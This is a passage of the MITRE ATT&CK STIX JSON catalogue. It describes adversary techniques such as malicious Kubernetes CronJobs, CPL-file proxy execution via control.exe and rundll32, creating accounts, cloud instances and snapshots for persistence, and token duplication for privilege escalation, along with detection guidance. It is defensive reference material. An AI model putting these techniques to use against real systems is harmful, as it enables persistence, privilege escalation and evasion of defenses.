            "x_mitre_remote_support": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.007",
                    "url": "https://attack.mitre.org/techniques/T1053/007"
                },
                {
                    "source_name": "Kubernetes Jobs",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021."
                },
                {
                    "source_name": "Kubernetes CronJob",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021."
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
                }
            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Container Orchestration Job",
            "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)",
            "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
            "type": "attack-pattern",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
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                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-12T18:09:46.821Z",
            "created": "2021-03-29T17:06:22.247Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Container: Container Creation",
                "File: File Creation"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1613",
                    "url": "https://attack.mitre.org/techniques/T1613"
                },
                {
                    "source_name": "Docker API",
                    "url": "https://docs.docker.com/engine/api/v1.41/",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Kubernetes API",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Container and Resource Discovery",
            "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
            "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-12T18:22:05.737Z",
            "created": "2021-03-31T14:26:00.848Z",
            "x_mitre_contributors": [
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                "Center for Threat-Informed Defense (CTID)",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",
            "x_mitre_platforms": [
                "Containers"
            ],
            "x_mitre_data_sources": [
                "Cluster: Cluster Metadata",
                "Container: Container Enumeration",
                "Container: Container Metadata",
                "Pod: Pod Enumeration",
                "Pod: Pod Metadata",
                "Application Log: Application Log Content"
            ]
        },
        {
            "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)",
            "name": "Control Panel",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218.002",
                    "url": "https://attack.mitre.org/techniques/T1218/002"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Jan 2014"
                },
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Dec 2013"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "source_name": "Palo Alto Reaver Nov 2017"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-21T18:37:11.672Z",
            "created": "2020-01-23T19:59:52.630Z",
            "x_mitre_contributors": [
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            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Module: Module Load",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification"
            ],
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",
            "x_mitre_defense_bypassed": [
                "Application control"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1196",
                    "url": "https://attack.mitre.org/techniques/T1196"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Jan 2014"
                },
                {
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "source_name": "TrendMicro CPL Malware Dec 2013"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "source_name": "Palo Alto Reaver Nov 2017"
                }
            ],
            "name": "Control Panel Items",
            "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T18:59:21.682Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1136",
                    "url": "https://attack.mitre.org/techniques/T1136"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                }
            ],
            "description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
            "name": "Create Account",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2021-03-16T12:47:00.458Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Praetorian"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ]
        },
        {
            "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c",
            "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
            "name": "Create Cloud Instance",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1578.002",
                    "url": "https://attack.mitre.org/techniques/T1578/002"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                },
                {
                    "source_name": "AWS CloudTrail Search",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/",
                    "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Azure Activity Logs",
                    "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs",
                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-03-08T10:33:02.034Z",
            "created": "2020-05-14T14:45:15.978Z",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_data_sources": [
                "Instance: Instance Creation"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1",
            "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134.002",
                    "url": "https://attack.mitre.org/techniques/T1134/002"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "source_name": "Microsoft Command-line Logging"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Create Process with Token",
            "description": "Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with <code>DuplicateToken(Ex)</code> and use it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.",
            "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-26T21:28:19.476Z",
            "created": "2020-02-18T16:48:56.582Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_defense_bypassed": [
                "Windows User Account Control",
                "System access controls",
                "File system access controls"
            ],
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code> and <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1578.001",
                    "url": "https://attack.mitre.org/techniques/T1578/001"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                },
                {
                    "source_name": "AWS Cloud Trail Backup API",
                    "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html",
                    "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."
                },
                {
                    "source_name": "Azure - Monitor Logs",
                    "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor",
                    "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."
                },
                {
                    "source_name": "GCP - Creating and Starting a VM",
                    "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2",
                    "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Create Snapshot",
            "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
            "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-03-08T10:33:02.060Z",
            "created": "2020-06-09T15:33:13.563Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>\"sourceSnapshot\":</code> parameter pointed to <code>\"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)",
            "x_mitre_data_sources": [
                "Snapshot: Snapshot Creation"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1543",
                    "url": "https://attack.mitre.org/techniques/T1543"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "source_name": "TechNet Services"
                },
                {
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "source_name": "AppleDocs Launch Agent Daemons"
                },
                {
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "source_name": "OSX Malware Detection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Create or Modify System Process",
            "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection).  ",
            "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-10-09T13:46:29.922Z",
            "created": "2020-01-10T16:03:18.865Z",
            "x_mitre_data_sources": [
                "Service: Service Creation",
                "Service: Service Modification",
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.  \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1056.004",
                    "url": "https://attack.mitre.org/techniques/T1056/004"
                },
                {
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "source_name": "Microsoft Hook Overview"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "source_name": "Adlice Software IAT Hooks Oct 2014"
                },
                {
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015"
                },
                {
                    "url": "https://www.exploit-db.com/docs/17802.pdf",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011"
                },
                {
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "source_name": "Volatility Detecting Hooks Sept 2012"
                },
                {
                    "url": "https://github.com/prekageo/winhook",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "source_name": "PreKageo Winhook Jul 2011"
                },
                {
                    "url": "https://github.com/jay/gethooks",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "source_name": "Jay GetHooks Sept 2011"
                },
                {
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "source_name": "Zairon Hooking Dec 2006"
                },
